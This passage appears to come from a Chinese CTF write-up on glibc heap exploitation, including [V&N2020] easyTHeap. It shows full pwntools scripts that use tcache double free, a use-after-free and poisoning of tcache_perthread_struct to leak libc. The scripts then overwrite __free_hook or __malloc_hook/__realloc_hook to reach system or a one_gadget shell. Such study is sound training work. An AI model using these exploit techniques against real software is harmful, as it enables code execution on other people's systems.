add(0x80)#隔开

for i in range(7):
delet(i)

delet(8)
#dbg()

把tcache bin塞满,之后隔绝开,接着free会进入unsortedbin

vmmap

算偏移找libc基址

1
2
3
4
5
show(8)
libc_base=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
print(hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']

image-20251204201047348

接着释放7让他们合并,并且free8,实现double free

1
2
3
delet(7)
add(0x80)
delet(8)

image-20251204202745709

之后就是改fd让它malloc到hook,然后把hook改为system函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from pwn import *
import sys
from LibcSearcher import *

file_path = "./pwn"
remote_host = ""
remote_port = 2121
context(arch='amd64', os='linux', log_level='debug')
context.terminal = [
"wt.exe", "--profile", "WSL GDB (Black)",
"wsl.exe", "bash", "-ic"
]
elf = ELF(file_path)
libc = ELF("./libc-2.29.so")
if 're' in sys.argv:
p = remote(remote_host, remote_port)
else:
p = process(file_path)
# gdb.attach(p, """
# b *0x08048666
# c
# """, api=True)


def dbg():
gdb.attach(p)
pause()
def sla(a, b):
p.sendlineafter(a, b)
def ru(a):
p.recvuntil(a)
def sa(a, b):
p.sendafter(a, b)

def add(size, content = "a"):
sa(b"choice:", b"1")
sa(b"Size:", str(size))
sa(b"Content:", content)
def delet(idx):
sa(b"choice:", b"2")
sa(b"Index: ", str(idx))
def show(idx):
sa(b"choice:", b"3")
sa(b"Index:", str(idx))
ru(b"Content: ")


for _ in range(7):
add(0x80)

add(0x80)#7
add(0x80)#8
add(0x20, b"/bin/sh\x00")#隔开

for i in range(7):
delet(i)

delet(8)
#dbg()

show(8)
libc_base=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x1e4ca0
print(hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']

delet(7)
add(0x80)
delet(8)
#dbg()
add(0xb0, b"a"*0x80 + p64(0) + p64(0x91) + p64(free_hook))
add(0x80)
add(0x80,p64(system))
delet(9)
p.interactive()

重点:fd/bk 是写在“free chunk 的用户区”里的。
当 split 后:

  • 后半 remainder 仍是 free,所以它当然还保留 fd/bk。
  • 而且 glibc 在 split 时不会清空 remainder 的用户区

[V&N2020 公开赛]easyTHeap

附件

最多只能申请7个chunk,delete只能执行3次,libc是2.27的,没有double free的校验

add限制大小

image-20251207195931612

image-20251207210321586

edit不能溢出

image-20251207200007516

有show

image-20251207200033631

delete存在uaf,没有把指针置零,纳那么每个add的chunk的数字都不同

image-20251207200050490

利用二次释放在tcache_perthread_struct处,创造fack chunk。从而修改tcache_perthread_struct的值将假造tache已满的情况。从而free出libc。

再改tcache_perthread_struct的entries区域的内容,使某一大小的bin的指针变成我们fack chunk的指针从而改写__realloc_hook__moalloc_hook,从而执行one_gadget.

double free改fd拿到tcache_struct位置

image-20260211210808636

1
2
3
4
5
6
7
add(0x50)#0  
delete(0)
delete(0)
show(0)
#dbg()
struct= u64(p.recv(6).ljust(8, b'\x00')) - 0x250
print(hex(struct))

image-20251207204946829

改fd让chunk maloc过去

1
2
3
4
add(0x50)  # 1
edit(1, p64(struct)) #fd
add(0x50) # 2
add(0x50) # 3 tar

当程序释放第一个堆进 tcache 时会申请一块 0x240 的空间放 tcache struct ,里面记录各个 size 的数量和链头地址。这里的2是tcachebin中的2个0x60的chunk

image-20260211212207962

伪造tacche是满的,让函数进入unsorted bin泄露libc

把 tcache struct 开头 0x28 字节覆盖成 0x61(ASCII ‘a’)这种非零值。
0x28 落在 counts 区域内部,会让某几个 size class 的 counts[i] 变成一个很大的非零数(等价于“这个 bin 计数已经到上限 7 了”)。

image-20260211213049910

1
2
3
4
5
6
7
8
9
edit(3, b'a' * 0x28)
delete(3)
show(3)
#dbg()
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x3ebca0
print(hex(libc_base))
malloc_hook = libc_base + libc.symbols['__malloc_hook']
realloc = libc_base + libc.symbols['__libc_realloc']
one = libc_base + 0x4f322

image-20260211212813160

继续malloc识别道tcache的异常会拿到在struct附近的unsorted bin,

image-20260211213226206

接着改0x30对应的next为malloc—hook的size

(这里不能溢出只能改到0x30处,但是tcache没有size的校验)

image-20260211213821812

以调用one_gadget

1
2
3
4
5
6
7
8
add(0x50)  # 4
#dbg()
edit(4, b'a' * 0x48 + p64(malloc_hook - 0x13))
add(0x20) # 5
log.info("one_gadget: " + hex(one))
edit(5, b'\x00' * (0x13 - 0x8) + p64(one) + p64(realloc + 8))
#dbg()
add(0x10)

image-20251207214752979

实现

image-20251207215159291

malloc→__malloc_hook(=realloc+8)→realloc→__realloc_hook(=one)→one_gadget

这是一种 “trampoline(跳板)”打法

在 2.27 时代很多题里,直接写 malloc_hook=one_gadget 经常不稳,原因包括:

  • one_gadget 有寄存器/栈约束(比如要求某个栈地址为 NULL)
  • malloc 调用 hook 时的寄存器状态不一定满足
  • 栈对齐、rax 值等条件可能不满足

而走一层 realloc 跳板的好处是:

  • realloc 的调用路径会改变/清理部分寄存器
  • 常见 one_gadget 约束更容易满足
  • realloc+8 这个偏移是社区里长期用来“从 malloc_hook 进入 realloc 的合适落点”,能避免一进 realloc 就出错

所以你看到:

  • 只写 one 到 malloc_hook 不稳定/不通
  • 写成 “malloc_hook → realloc → realloc_hook → one” 就通

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
from pwn import *
import sys
from LibcSearcher import *

file_path = "./heap"
remote_host = ""
remote_port = 2121
context(arch='amd64', os='linux', log_level='debug')

context.terminal = [
"wt.exe", "--profile", "WSL GDB (Black)",
"wsl.exe", "bash", "-ic"
]

elf = ELF(file_path)
libc = elf.libc
if 're' in sys.argv:
p = remote(remote_host, remote_port)
else:
p = process(file_path)
# gdb.attach(p, """
# b *0x08048666
# c
# """, api=True)


def dbg():
gdb.attach(p)
pause()
def sla(a, b):
p.sendlineafter(a, b)
def ru(a):
p.recvuntil(a)
def sa(a, b):
p.sendafter(a, b)



def add(size):
p.recvuntil(b'choice: ')
p.sendline(b'1')
p.recvuntil(b'size?')
p.sendline(str(size).encode())

def edit(idx, content):
p.recvuntil(b'choice: ')
p.sendline(b'2')
p.recvuntil(b'idx?')
p.sendline(str(idx).encode())
p.recvuntil(b'content:')
if isinstance(content, str):
content = content.encode()
p.sendline(content)

def show(idx):
p.recvuntil(b'choice: ')
p.sendline(b'3')
p.recvuntil(b'idx?')
p.sendline(str(idx).encode())

def delete(idx):
p.recvuntil(b'choice: ')
p.sendline(b'4')
p.recvuntil(b'idx?')
p.sendline(str(idx).encode())



add(0x50)#0
delete(0)
delete(0)
show(0)
#dbg()
struct= u64(p.recv(6).ljust(8, b'\x00')) - 0x250
print(hex(struct))

add(0x50) # 1
edit(1, p64(struct)) #fd
add(0x50) # 2
add(0x50) # 3 tar



edit(3, b'a' * 0x28)
delete(3)
show(3)
#dbg()
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x3ebca0
print(hex(libc_base))
malloc_hook = libc_base + libc.symbols['__malloc_hook']
realloc = libc_base + libc.symbols['__libc_realloc']
one = libc_base + 0x4f322
#dbg()


add(0x50) # 4
#dbg()
edit(4, b'a' * 0x48 + p64(malloc_hook - 0x13))
add(0x20) # 5
log.info("one_gadget: " + hex(one))
edit(5, b'\x00' * (0x13 - 0x8) + p64(one) + p64(realloc + 8))
#dbg()
add(0x10)

p.interactive()